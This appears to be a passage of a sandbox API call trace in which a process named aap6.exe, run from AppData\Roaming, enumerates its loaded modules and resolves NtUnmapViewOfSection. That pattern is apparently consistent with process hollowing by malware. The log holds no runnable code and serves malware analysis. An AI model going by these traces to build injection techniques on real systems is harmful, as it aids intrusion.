	[0116.529] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.529] GetLastError () returned 0xcb
	[0116.529] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x243e5e8, cb=0xc | out: lpmodinfo=0x243e5e8*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.530] GetLastError () returned 0xcb
	[0116.530] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.530] GetLastError () returned 0xcb
	[0116.530] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.530] GetLastError () returned 0xcb
	[0116.531] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x243f6e4, cb=0xc | out: lpmodinfo=0x243f6e4*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.531] GetLastError () returned 0xcb
	[0116.531] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.532] GetLastError () returned 0xcb
	[0116.532] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.532] GetLastError () returned 0xcb
	[0116.532] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x24407d8, cb=0xc | out: lpmodinfo=0x24407d8*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.533] GetLastError () returned 0xcb
	[0116.533] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.533] GetLastError () returned 0xcb
	[0116.533] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.534] GetLastError () returned 0xcb
	[0116.534] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x24418d4, cb=0xc | out: lpmodinfo=0x24418d4*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.534] GetLastError () returned 0xcb
	[0116.534] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.535] GetLastError () returned 0xcb
	[0116.535] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.535] GetLastError () returned 0xcb
	[0116.535] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x2442a6c, cb=0xc | out: lpmodinfo=0x2442a6c*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.536] GetLastError () returned 0xcb
	[0116.536] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.536] GetLastError () returned 0xcb
	[0116.536] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.537] GetLastError () returned 0xcb
	[0116.537] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x2443b68, cb=0xc | out: lpmodinfo=0x2443b68*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.537] GetLastError () returned 0xcb
	[0116.537] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.538] GetLastError () returned 0xcb
	[0116.538] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.538] GetLastError () returned 0xcb
	[0116.538] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x2444ca0, cb=0xc | out: lpmodinfo=0x2444ca0*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.539] GetLastError () returned 0xcb
	[0116.539] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.539] GetLastError () returned 0xcb
	[0116.539] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.540] GetLastError () returned 0xcb
	[0116.540] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x2445e2c, cb=0xc | out: lpmodinfo=0x2445e2c*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.540] GetLastError () returned 0xcb
	[0116.541] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.541] GetLastError () returned 0xcb
	[0116.541] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.542] GetLastError () returned 0xcb
	[0116.542] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x2447010, cb=0xc | out: lpmodinfo=0x2447010*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.542] GetLastError () returned 0xcb
	[0116.542] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.543] GetLastError () returned 0xcb
	[0116.543] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.543] GetLastError () returned 0xcb
	[0116.543] CloseHandle (hObject=0x1ec) returned 1
	[0116.543] GetLastError () returned 0xcb
	[0116.547] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0xb273a9a3, Data2=0xb658, Data3=0x4b04, Data4=([0]=0xaf, [1]=0x57, [2]=0x46, [3]=0x9, [4]=0xa1, [5]=0x1b, [6]=0x1d, [7]=0xf))) returned 0x0
	[0116.556] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x47cd2b54, Data2=0xcd76, Data3=0x426b, Data4=([0]=0xad, [1]=0x41, [2]=0xcb, [3]=0x54, [4]=0x93, [5]=0x70, [6]=0xd, [7]=0x68))) returned 0x0
	[0116.565] GetProcAddress (hModule=0x77be0000, lpProcName="NtUnmapViewOfSection") returned 0x77bffc70
	[0116.573] GetCurrentProcessId () returned 0x9f8
	[0116.573] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.573] GetLastError () returned 0xcb
	[0116.573] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x24536c8, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x24536c8, lpcbNeeded=0x3ee204) returned 1
	[0116.574] GetLastError () returned 0xcb
	[0116.574] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x2453808, cb=0xc | out: lpmodinfo=0x2453808*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.574] GetLastError () returned 0xcb
	[0116.574] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.574] GetLastError () returned 0xcb
	[0116.574] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.574] GetLastError () returned 0xcb
	[0116.574] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x2454938, cb=0xc | out: lpmodinfo=0x2454938*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.575] GetLastError () returned 0xcb
	[0116.575] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.575] GetLastError () returned 0xcb
	[0116.575] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.575] GetLastError () returned 0xcb
	[0116.575] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x2455a2c, cb=0xc | out: lpmodinfo=0x2455a2c*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.575] GetLastError () returned 0xcb
	[0116.575] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.575] GetLastError () returned 0xcb
	[0116.576] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.576] GetLastError () returned 0xcb
	[0116.576] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x2456b28, cb=0xc | out: lpmodinfo=0x2456b28*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.576] GetLastError () returned 0xcb
	[0116.576] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.576] GetLastError () returned 0xcb
	[0116.576] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.576] GetLastError () returned 0xcb
	[0116.576] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x2457c2c, cb=0xc | out: lpmodinfo=0x2457c2c*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.577] GetLastError () returned 0xcb
	[0116.577] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.577] GetLastError () returned 0xcb
	[0116.577] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.577] GetLastError () returned 0xcb
	[0116.577] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x2458d68, cb=0xc | out: lpmodinfo=0x2458d68*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.577] GetLastError () returned 0xcb
	[0116.577] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.578] GetLastError () returned 0xcb
	[0116.578] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.578] GetLastError () returned 0xcb
	[0116.578] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x2459e6c, cb=0xc | out: lpmodinfo=0x2459e6c*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.578] GetLastError () returned 0xcb
	[0116.579] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.579] GetLastError () returned 0xcb
	[0116.579] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.579] GetLastError () returned 0xcb
	[0116.579] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x245af68, cb=0xc | out: lpmodinfo=0x245af68*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.579] GetLastError () returned 0xcb
	[0116.579] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.580] GetLastError () returned 0xcb
	[0116.580] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.580] GetLastError () returned 0xcb
	[0116.580] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x245c064, cb=0xc | out: lpmodinfo=0x245c064*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.580] GetLastError () returned 0xcb
	[0116.580] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.580] GetLastError () returned 0xcb
	[0116.581] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.581] GetLastError () returned 0xcb
	[0116.581] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x245d1b0, cb=0xc | out: lpmodinfo=0x245d1b0*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.581] GetLastError () returned 0xcb
	[0116.581] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.581] GetLastError () returned 0xcb
	[0116.581] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.582] GetLastError () returned 0xcb
	[0116.582] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x245e2ac, cb=0xc | out: lpmodinfo=0x245e2ac*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.582] GetLastError () returned 0xcb
	[0116.582] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.582] GetLastError () returned 0xcb
	[0116.582] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.583] GetLastError () returned 0xcb
	[0116.583] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x245f3b0, cb=0xc | out: lpmodinfo=0x245f3b0*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.583] GetLastError () returned 0xcb
	[0116.583] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.583] GetLastError () returned 0xcb
	[0116.583] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.584] GetLastError () returned 0xcb
	[0116.584] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x24604e8, cb=0xc | out: lpmodinfo=0x24604e8*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.584] GetLastError () returned 0xcb
	[0116.584] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.584] GetLastError () returned 0xcb
	[0116.585] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.585] GetLastError () returned 0xcb
	[0116.585] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x24615e4, cb=0xc | out: lpmodinfo=0x24615e4*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.585] GetLastError () returned 0xcb
	[0116.585] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.586] GetLastError () returned 0xcb
	[0116.586] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.586] GetLastError () returned 0xcb
	[0116.586] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x24626d8, cb=0xc | out: lpmodinfo=0x24626d8*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.586] GetLastError () returned 0xcb
	[0116.586] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.587] GetLastError () returned 0xcb
	[0116.587] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.587] GetLastError () returned 0xcb
	[0116.587] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x24637d4, cb=0xc | out: lpmodinfo=0x24637d4*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.587] GetLastError () returned 0xcb
	[0116.588] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.588] GetLastError () returned 0xcb
	[0116.588] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.588] GetLastError () returned 0xcb
	[0116.588] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x24648c0, cb=0xc | out: lpmodinfo=0x24648c0*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.589] GetLastError () returned 0xcb
	[0116.589] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.589] GetLastError () returned 0xcb
	[0116.589] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.589] GetLastError () returned 0xcb
	[0116.590] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x2465a44, cb=0xc | out: lpmodinfo=0x2465a44*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.590] GetLastError () returned 0xcb
	[0116.590] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.590] GetLastError () returned 0xcb
	[0116.590] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.591] GetLastError () returned 0xcb
	[0116.591] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x2466b38, cb=0xc | out: lpmodinfo=0x2466b38*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.591] GetLastError () returned 0xcb
	[0116.591] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.592] GetLastError () returned 0xcb
	[0116.592] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.592] GetLastError () returned 0xcb
	[0116.592] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x2467c2c, cb=0xc | out: lpmodinfo=0x2467c2c*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.592] GetLastError () returned 0xcb
	[0116.592] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.593] GetLastError () returned 0xcb
	[0116.593] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.593] GetLastError () returned 0xcb
	[0116.593] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x2468d64, cb=0xc | out: lpmodinfo=0x2468d64*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.593] GetLastError () returned 0xcb
	[0116.593] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.594] GetLastError () returned 0xcb
	[0116.594] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.594] GetLastError () returned 0xcb
	[0116.594] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x2469ef8, cb=0xc | out: lpmodinfo=0x2469ef8*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.595] GetLastError () returned 0xcb
	[0116.595] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.595] GetLastError () returned 0xcb
	[0116.595] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.595] GetLastError () returned 0xcb
	[0116.596] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x246aff4, cb=0xc | out: lpmodinfo=0x246aff4*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.596] GetLastError () returned 0xcb
	[0116.596] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.596] GetLastError () returned 0xcb
	[0116.596] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.597] GetLastError () returned 0xcb
	[0116.597] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x246c0e8, cb=0xc | out: lpmodinfo=0x246c0e8*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.597] GetLastError () returned 0xcb
	[0116.597] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.597] GetLastError () returned 0xcb
